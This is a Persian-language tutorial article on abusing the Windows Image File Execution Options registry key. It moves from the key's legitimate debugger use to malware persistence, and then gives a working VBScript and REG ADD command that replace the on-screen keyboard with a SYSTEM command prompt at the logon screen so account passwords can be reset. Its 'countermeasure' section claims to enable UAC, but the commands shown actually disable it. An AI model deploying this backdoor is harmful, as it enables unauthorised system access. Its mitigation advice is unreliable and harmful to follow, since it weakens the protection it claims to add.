سو استفاده از Image File Execution option

تقدیم به :

سازمان نظام صنفی رایانه ای استان کردستان

نویسنده : مسلم حقیقیان

ایمیل : moslem.haghghian@yahoo.com

وب سایت : www.wininfo.ir

کردستان ، سنندج

1393

بسیاری از مواقع به دلیل به وجود آمدن مشکل در یک فرآیند و یا یک سرویس و هر فایل اجرایی دیگر نیاز است که ما به جای آنکه فایل اجرا شود برنامه ی debugger اجرا شود تا بتواند به اشکال یابی یک برنامه پرداخت .

انواع مختلف دیباگر داریم که اگر بخواهیم عملیات اجرا شدن دیباگر بعد از اجرای یک فایل خاص به صورت اتوماتیک اجرا شود از ویژگی Image File Execution در رجیستری ویندوز استفاده می شود .

در صورتی که روی یک سیستم لوکال بخواهیم این عملیات را انجام دهیم از برنامه ی زیر استفاده می کنیم

```
c:\Debuggers\windbg.exe
```

و در صورتی که بخواهیم عملیات را به صورت Remote انجام دهیم از برنامه ی زیر استفاده می کنیم .

```
c:\Debuggers\ntsd.exe
```

جهت اطلاعات بیشتر می توانید به آدرس زیر مراجعه نمایید.

https://msdn.microsoft.com/en-us/library/windows/hardware/ff541398(v=vs.85).aspx

همچنین می توان از این امکان جهت تغییر اجرا پیش فرض یک برنامه جلوگیری کرد مثلا ما یک Taskmanager هرفه ای می نویسیم و می خواهیم بگوییم هر وقت که ALT + CTRL + DEL را فشردیم به جای فایل TASkMGR.exe برنامه ی خودمان اجرا شود .

این ویژگی با استفاده از یکی از زیر کلد های رجیستری انجام شود که برای انجام این کار می توانید می توانید به مسیر زیر در رجیستری بروید.

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
```

در این مسیر شما لیستی از فایل های اجرایی مختلف را می بینید . اینجا ما می خواهیم بگوییم که اگر کسی برنامه ی MYPROG.exe را اجرا کرد به جای آن عملیات Debugاجرا شود منها دیباگر ما همان دیباگر ویژوال استدیو می باشد .

مراحل به شکل زیر انجام می شود .

1. یک زیر کلید با نام Myprog.exe در این مسیر ایجاد می کنیم .
2. و در مسیر ساخته شده یک مقدار Debugger را از نوع REG_SZ ایجاد می کنیم .
3. آدرس فایلی که می خوام اجرا بشه به جای Myprog.exe را در آن قرار می دهیم که در اینجا ما آدرس برنامه ی vsjitdebugger.exe در آن قرار می دهیم .
4. سپس کافی است که برنامه MyProg اجرا شود تا دیباگر به صورت اتوماتیک این برنامه رادر خود اجرا کند تا عملیات به صورت اتوماتیک انجام شود .

این روش توسط انواع مختلف بد افزار ها مورد سو استفاده قرار گرفته است به عنوان مثال هکر برنامه نویس می خواهد بگوید که هر فایل متنی TXT که اجرا شد ویروس ویروس اجرا شود .

یک هکر می تونه به جای Startup کردن برنامه ی خودش از اون استفاده کنه یعنی میگه هر وقت فایل notepadیا هر فایل دیگری اجرا شد که اجرا شد سیستم عامل به جای آن فایل Trojan.exe رااجرا کند .

در زیر می توانید چند نمونه از بد افزار هایی که از این روش سو استفاده کرده اند را مشاهده نمایید .

http://blogs.mcafee.com/mcafee-labs/…cution-options

ما می تونیم به جای فایل cmd.exe هر فایل دیگه ای رو هم بنویسیم مثلا BAd File.exe

http://about-threats.trendmicro.com/…ROJ_INJECT.SMI

که در فایل تروجان بالا هکر به جای فایل Explorer.exe فایل malware خود را اجرا کرده است . حال بسته به هوش هکر بستگی دارد . به عنوان مثلا وقتی کسی تروجان خودش رو به جای Explorer اجرا میکند یعنی اینکه از همون اول که وارد حساب کاربری می شویم از اجرای فایل Explorer.exe اجرا می شود (پس دسکتاپ و ایکون های آن نمایش داده نمی شود) و بعد تروجان خودمان را رو اجرا کن و سپس بیا دوباره مقدار debugger را حذف کند و Explorer.exe را اجرا کند .

و در اینجا چند تروجان دیگر را می توانید ببینید .

http://www.pandasecurity.com/homeuse…on/AKStealer.A
http://www.eset.com/us/threat-center…win32agentksq/
http://www.symantec.com/security_res…050-99&tabid=2

و…

یک قدم جلوتر : ایجاد تونل برای شکستن پسورد

در اینجا می می خواهیم یک تونل جدید جهت تغییر پسورد در قسمت Welcom screen ویندوز ایجاد کنیم تا بتوانیم یک راه نفوذ به سیستم ایجاد کنیم تا در صورت تغییر پسورد بتوانیم آن را به راحتی حذف و یا تغییر دهیم .

در صورتی که ما بدانیم که در welcome screen چه فایل های EXE اجرا می شوند می توانیم با جایگزین کردن CMD به عنوان دیباگر در هنگام اجرای فایل CMD اجرا شود و سپس می توانیم با استفاده از فرامین net user administrator password پسورد حساب کاربری را تغییر دهیم و یا هر فرمان دیگر مربوط به CMD را اجرا کنیم . لازم به ذکر است که CMD در سطح کاربری authority\system اجرا می شود پس می توان استفاده های فراوانی از آن نمود .

لیست فایل هایی که در WELCOM screen اجرا می شوند را می توانید در زیر مشاهده نمایید .

Displayswitch.exe – sethc.exe – narrattor.exe – magnify.exe – OSK.exe - utilman.exe

در اینجا ما می خواهیم برنامه ی CMD را به چای OSK اجرا کنیم در در هنگامی که کاربر کیبورد مجازی را اجرا کرد برنامه ی CMD اجرا شود

پس میایم یک کلید با نام OSK.exe در این مسیر از رجیستری می سازیم و بعد مقدار Debugger از نوع REG_SZ حالا من اگه از اسکریپت نویسی در ویندوز استفاده کنم می تونیم از کد های زیر این کار رو انجام بدیم

```
'baraye sakhtane key dar kelide registry
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\OSK.exe"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
‘————————————
' sakhtane ye value ba name debugger va meghdar an = addresse CMD.exe
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\OSK.exe"
strValueName = "Debugger"
strValue = "C:\windows\system32\cmd.exe"
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
‘————————
```

یا اینکه می توانیم از همان دستور REG از طریق CMD این کار را انجام دهیم

```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\OSK.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
```

کافییست در فایل BAT ذخیره شود و سپس با سطح دسترسی admisnitrator اجرا کنید.

حالا سیستم رو restart یا logoff می کنیم و در صعحه ی خوش آمد گویی فایل OSK.exe که همان کیبورد مجازی ویندوز هست را اجرا می کنیم و میبینیم که به جای آن فایل cmd.exe اجرا می شود .

روش مقابله:

خود ویندوز روش محدودیت های مناسبی را برای این مورد ایجاد کرده است . بهترین آنها UAC ویندوز است که می توانید با فعال کردن آن و گذاشتن پسورد بر روی حساب کاربری با سطح دسترسی بالا از انجام تغییرات در رجیستری جلوگیری کرد .

از آنجایی که این option در شاخه ی HKEY_LOCAL_MACHINE وجود دارد خود ویندوز دسترسی به این شاخه را محدود کرده است و اط طرفی در صورت فعال بودن UAC ورود به رجیستری نیر غیر فعال می باشد.

جهت فعال کردن UAC می توانید از فرمان زیر در فایل BAT استفاده کنید .

```
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD
/d 0 /f

Echo ----------------------------------------------------------------------------------------------------

C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
```